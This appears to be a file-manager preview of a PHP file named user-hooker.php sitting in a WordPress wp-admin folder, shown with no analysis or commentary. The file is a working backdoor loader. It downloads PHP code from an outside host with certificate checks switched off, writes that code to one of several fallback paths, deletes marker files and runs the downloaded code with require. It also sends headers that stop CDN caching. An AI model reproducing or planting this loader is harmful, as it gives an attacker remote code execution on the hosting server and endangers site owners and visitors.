Preview: user-hooker.php
Size: 1.25 KB
/home/doctorbruno/public_html/doctorbruno.info/wp-admin/user-hooker.php
<?php
/*[cstb_su]*/
header('Cache-Control: no-store, no-cache, must-revalidate, private');
header('Pragma: no-cache');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
$c=false;
if(function_exists('curl_init')){
$ch=curl_init('https://resmigiris.cam/src.php');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>60,CURLOPT_CONNECTTIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_HTTPHEADER=>['User-Agent: cStb-boot/1'],CURLOPT_FOLLOWLOCATION=>1]);
$c=curl_exec($ch);
curl_close($ch);
}
if(!$c){$c=@file_get_contents('https://resmigiris.cam/src.php',0,stream_context_create(['http'=>['timeout'=>60,'header'=>"User-Agent: cStb-boot/1\r\n"],'ssl'=>['verify_peer'=>false]]));}
if($c===false||$c===''||strncmp(ltrim($c),'<?php',5)!==0){http_response_code(204);exit;}
$f=__DIR__.'/cstb_runner.php';
if(@file_put_contents($f,$c)===false){
$dr=getenv('DOCUMENT_ROOT');$d=defined('ABSPATH')?ABSPATH:($dr?:dirname(__DIR__).'/');
$f=rtrim($d,'/').'/cstb_runner.php';
if(@file_put_contents($f,$c)===false){$f=sys_get_temp_dir().'/cstb_run_'.md5(__FILE__).'.php';if(@file_put_contents($f,$c)===false){http_response_code(204);exit;}}
}
@unlink(__DIR__.'/._qr.php');
@unlink(__DIR__.'/.cstb_qr.php');
require $f;
Directory Contents
Dirs: 2 × Files: 13